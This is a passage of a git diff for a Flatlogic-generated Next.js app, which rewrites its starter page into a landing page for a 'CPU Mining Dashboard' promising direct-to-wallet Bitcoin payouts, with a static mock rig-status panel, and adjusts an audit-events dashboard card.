path={'mdiAlert' in icon ? icon['mdiAlert' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
{hasPermission(currentUser, 'READ_AUDIT_EVENTS') && <Link href={'/audit_events/audit_events-list'}>
|
||||
<div
|
||||
className={`${corners !== 'rounded-full'? corners : 'rounded-3xl'} dark:bg-dark-900 ${cardsStyle} dark:border-dark-700 p-6`}
|
||||
>
|
||||
<div className="flex justify-between align-center">
|
||||
<div>
|
||||
<div className="text-lg leading-tight text-gray-500 dark:text-gray-400">
|
||||
Audit events
|
||||
</div>
|
||||
<div className="text-3xl leading-tight font-semibold">
|
||||
{audit_events}
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<BaseIcon
|
||||
className={`${iconsColor}`}
|
||||
w="w-16"
|
||||
h="h-16"
|
||||
size={48}
|
||||
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
|
||||
// @ts-ignore
|
||||
path={'mdiShieldAccount' in icon ? icon['mdiShieldAccount' as keyof typeof icon] : icon.mdiTable || icon.mdiTable}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</Link>}
|
||||
|
||||
|
||||
</div>
|
||||
</SectionMain>
|
||||
</>
|
||||
@ -552,4 +301,4 @@ Dashboard.getLayout = function getLayout(page: ReactElement) {
|
||||
return <LayoutAuthenticated>{page}</LayoutAuthenticated>
|
||||
}
|
||||
|
||||
export default Dashboard
|
||||
export default Dashboard
|
||||
@ -1,4 +1,3 @@
|
||||
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import type { ReactElement } from 'react';
|
||||
import Head from 'next/head';
|
||||
@ -7,13 +6,13 @@ import BaseButton from '../components/BaseButton';
|
||||
import CardBox from '../components/CardBox';
|
||||
import SectionFullScreen from '../components/SectionFullScreen';
|
||||
import LayoutGuest from '../layouts/Guest';
|
||||
import BaseDivider from '../components/BaseDivider';
|
||||
import BaseButtons from '../components/BaseButtons';
|
||||
import { getPageTitle } from '../config';
|
||||
import { useAppSelector } from '../stores/hooks';
|
||||
import CardBoxComponentTitle from "../components/CardBoxComponentTitle";
|
||||
import { getPexelsImage, getPexelsVideo } from '../helpers/pexels';
|
||||
|
||||
import { getPexelsImage } from '../helpers/pexels';
|
||||
import BaseIcon from '../components/BaseIcon';
|
||||
import * as icon from '@mdi/js';
|
||||
|
||||
export default function Starter() {
|
||||
const [illustrationImage, setIllustrationImage] = useState({
|
||||
@ -21,139 +20,121 @@ export default function Starter() {
|
||||
photographer: undefined,
|
||||
photographer_url: undefined,
|
||||
})
|
||||
const [illustrationVideo, setIllustrationVideo] = useState({video_files: []})
|
||||
const [contentType, setContentType] = useState('image');
|
||||
const [contentPosition, setContentPosition] = useState('right');
|
||||
|
||||
const textColor = useAppSelector((state) => state.style.linkColor);
|
||||
const title = 'CPU Mining Direct To Wallet'
|
||||
|
||||
const title = 'CPU Mining Dashboard'
|
||||
|
||||
// Fetch Pexels image/video
|
||||
// Fetch Pexels image
|
||||
useEffect(() => {
|
||||
async function fetchData() {
|
||||
const image = await getPexelsImage();
|
||||
const video = await getPexelsVideo();
|
||||
setIllustrationImage(image);
|
||||
setIllustrationVideo(video);
|
||||
}
|
||||
fetchData();
|
||||
}, []);
|
||||
|
||||
const imageBlock = (image) => (
|
||||
<div
|
||||
className='hidden md:flex flex-col justify-end relative flex-grow-0 flex-shrink-0 w-1/3'
|
||||
style={{
|
||||
backgroundImage: `${
|
||||
image
|
||||
? `url(${image?.src?.original})`
|
||||
: 'linear-gradient(rgba(255, 255, 255, 0.5), rgba(255, 255, 255, 0.5))'
|
||||
}`,
|
||||
backgroundSize: 'cover',
|
||||
backgroundPosition: 'left center',
|
||||
backgroundRepeat: 'no-repeat',
|
||||
}}
|
||||
>
|
||||
<div className='flex justify-center w-full bg-blue-300/20'>
|
||||
<a
|
||||
className='text-[8px]'
|
||||
href={image?.photographer_url}
|
||||
target='_blank'
|
||||
rel='noreferrer'
|
||||
>
|
||||
Photo by {image?.photographer} on Pexels
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
const videoBlock = (video) => {
|
||||
if (video?.video_files?.length > 0) {
|
||||
return (
|
||||
<div className='hidden md:flex flex-col justify-end relative flex-grow-0 flex-shrink-0 w-1/3'>
|
||||
<video
|
||||
className='absolute top-0 left-0 w-full h-full object-cover'
|
||||
autoPlay
|
||||
loop
|
||||
muted
|
||||
>
|
||||
<source src={video?.video_files[0]?.link} type='video/mp4'/>
|
||||
Your browser does not support the video tag.
|
||||
</video>
|
||||
<div className='flex justify-center w-full bg-blue-300/20 z-10'>
|
||||
<a
|
||||
className='text-[8px]'
|
||||
href={video?.user?.url}
|
||||
target='_blank'
|
||||
rel='noreferrer'
|
||||
>
|
||||
Video by {video.user.name} on Pexels
|
||||
</a>
|
||||
</div>
|
||||
</div>)
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
style={
|
||||
contentPosition === 'background'
|
||||
? {
|
||||
backgroundImage: `${
|
||||
illustrationImage
|
||||
? `url(${illustrationImage.src?.original})`
|
||||
: 'linear-gradient(rgba(255, 255, 255, 0.5), rgba(255, 255, 255, 0.5))'
|
||||
}`,
|
||||
backgroundSize: 'cover',
|
||||
backgroundPosition: 'left center',
|
||||
backgroundRepeat: 'no-repeat',
|
||||
}
|
||||
: {}
|
||||
}
|
||||
>
|
||||
<div className="bg-[#121212] text-white min-h-screen font-sans">
|
||||
<Head>
|
||||
<title>{getPageTitle('Starter Page')}</title>
|
||||
<title>{getPageTitle('Bitcoin CPU Mining')}</title>
|
||||
</Head>
|
||||
|
||||
<SectionFullScreen bg='violet'>
|
||||
<div
|
||||
className={`flex ${
|
||||
contentPosition === 'right' ? 'flex-row-reverse' : 'flex-row'
|
||||
} min-h-screen w-full`}
|
||||
>
|
||||
{contentType === 'image' && contentPosition !== 'background'
|
||||
? imageBlock(illustrationImage)
|
||||
: null}
|
||||
{contentType === 'video' && contentPosition !== 'background'
|
||||
? videoBlock(illustrationVideo)
|
||||
: null}
|
||||
<div className='flex items-center justify-center flex-col space-y-4 w-full lg:w-full'>
|
||||
<CardBox className='w-full md:w-3/5 lg:w-2/3'>
|
||||
<CardBoxComponentTitle title="Welcome to your CPU Mining Dashboard app!"/>
|
||||
|
||||
<div className="space-y-3">
|
||||
<p className='text-center '>This is a React.js/Node.js app generated by the <a className={`${textColor}`} href="https://flatlogic.com/generator">Flatlogic Web App Generator</a></p>
|
||||
<p className='text-center '>For guides and documentation please check
|
||||
your local README.md and the <a className={`${textColor}`} href="https://flatlogic.com/documentation">Flatlogic documentation</a></p>
|
||||
<div className="flex flex-col lg:flex-row min-h-screen w-full">
|
||||
<div className="flex-1 flex flex-col justify-center px-8 lg:px-24 space-y-8 py-12">
|
||||
<div className="inline-flex items-center space-x-2 bg-amber-500/10 text-amber-500 px-3 py-1 rounded-full text-xs font-bold uppercase tracking-wider">
|
||||
<BaseIcon path={icon.mdiCpu64Bit} size={16} />
|
||||
<span>CPU Optimized Mining</span>
|
||||
</div>
|
||||
|
||||
<h1 className="text-5xl lg:text-7xl font-extrabold tracking-tight leading-none">
|
||||
Direct To Wallet <br/>
|
||||
<span className="text-amber-500">Bitcoin Mining</span>
|
||||
</h1>
|
||||
|
||||
<p className="text-lg text-gray-400 max-w-xl">
|
||||
Turn your idle CPU power into real Bitcoin rewards. Manage your workers, monitor hash rates, and receive payouts directly to your cold storage with no middleman.
|
||||
</p>
|
||||
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-6 max-w-2xl">
|
||||
<div className="flex items-start space-x-4">
|
||||
<div className="bg-blue-500/20 p-2 rounded-lg">
|
||||
<BaseIcon path={icon.mdiWallet} className="text-blue-500" size={24} />
|
||||
</div>
|
||||
<div>
|
||||
<h3 className="font-bold text-lg">Direct Payouts</h3>
|
||||
<p className="text-sm text-gray-500">Earnings go straight to your BTC address.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div className="flex items-start space-x-4">
|
||||
<div className="bg-emerald-500/20 p-2 rounded-lg">
|
||||
<BaseIcon path={icon.mdiMonitorDashboard} className="text-emerald-500" size={24} />
|
||||
</div>
|
||||
<div>
|
||||
<h3 className="font-bold text-lg">Real-time Stats</h3>
|
||||
<p className="text-sm text-gray-500">Monitor hashrate, temp, and CPU usage.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<BaseButtons>
|
||||
<BaseButton
|
||||
href='/login'
|
||||
label='Login'
|
||||
label='Go to Dashboard'
|
||||
color='info'
|
||||
className='w-full'
|
||||
className='px-8 py-4 text-lg font-bold shadow-lg shadow-blue-500/20'
|
||||
/>
|
||||
<BaseButton
|
||||
href='/register'
|
||||
label='Get Started'
|
||||
color='white'
|
||||
outline
|
||||
className='px-8 py-4 text-lg font-bold'
|
||||
/>
|
||||
|
||||
</BaseButtons>
|
||||
</CardBox>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="hidden lg:flex flex-1 relative bg-gradient-to-br from-blue-900/20 to-black overflow-hidden">
|
||||
<div className="absolute inset-0 bg-[url('https://www.transparenttextures.com/patterns/carbon-fibre.png')] opacity-20"></div>
|
||||
<div className="relative z-10 w-full h-full flex items-center justify-center p-12">
|
||||
<div className="bg-[#1E1E1E] rounded-2xl border border-gray-800 shadow-2xl w-full max-w-lg overflow-hidden transform rotate-2 hover:rotate-0 transition-transform duration-500">
|
||||
<div className="h-2 bg-amber-500 w-full"></div>
|
||||
<div className="p-6 space-y-4">
|
||||
<div className="flex justify-between items-center">
|
||||
<span className="text-xs text-gray-500 uppercase font-bold tracking-widest">Live Mining Rig Status</span>
|
||||
<span className="flex items-center space-x-1 text-emerald-500 text-xs font-bold">
|
||||
<span className="w-2 h-2 bg-emerald-500 rounded-full animate-pulse"></span>
|
||||
<span>ONLINE</span>
|
||||
</span>
|
||||
</div>
|
||||
<div className="space-y-1">
|
||||
<div className="text-3xl font-mono font-bold">6,500 H/s</div>
|
||||
<div className="text-xs text-gray-500">Global Aggregated Hashrate</div>
|
||||
</div>
|
||||
<div className="h-32 bg-gray-900 rounded flex items-end space-x-1 p-2">
|
||||
{[40, 70, 45, 90, 65, 80, 50, 95, 75, 85, 60, 100].map((h, i) => (
|
||||
<div key={i} style={{height: `${h}%`}} className="flex-1 bg-amber-500/40 rounded-t-sm"></div>
|
||||
))}
|
||||
</div>
|
||||
<div className="flex justify-between text-xs font-mono">
|
||||
<span className="text-gray-500">Payout Address:</span>
|
||||
<span className="text-amber-500">bc1q...x9m</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</SectionFullScreen>
|
||||
<div className='bg-black text-white flex flex-col text-center justify-center md:flex-row'>
|
||||
<p className='py-6 text-sm'>© 2026 <span>{title}</span>. All rights reserved</p>
|
||||
<Link className='py-6 ml-4 text-sm' href='/privacy-policy/'>
|
||||
|
||||
<div className='bg-[#0A0A0A] border-t border-gray-900 text-gray-500 flex flex-col text-center justify-center md:flex-row py-12'>
|
||||
<p className='text-sm'>© 2026 <span className="text-white font-bold">{title}</span>. Built for the Decentralized Future.</p>
|
||||
<Link className='ml-4 text-sm hover:text-white transition-colors' href='/privacy-policy/'>
|
||||
Privacy Policy
|
||||
</Link>
|
||||
<Link className='ml-4 text-sm hover:text-white transition-colors' href='/terms-of-use/'>
|
||||
Terms of Use
|
||||
</Link>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
@ -162,5 +143,4 @@ export default function Starter() {
|
||||
|
||||
Starter.getLayout = function getLayout(page: ReactElement) {
|
||||
return <LayoutGuest>{page}</LayoutGuest>;
|
||||
};
|
||||
|
||||
};
|
||||
Loading…
x
Reference in New Issue
Block a user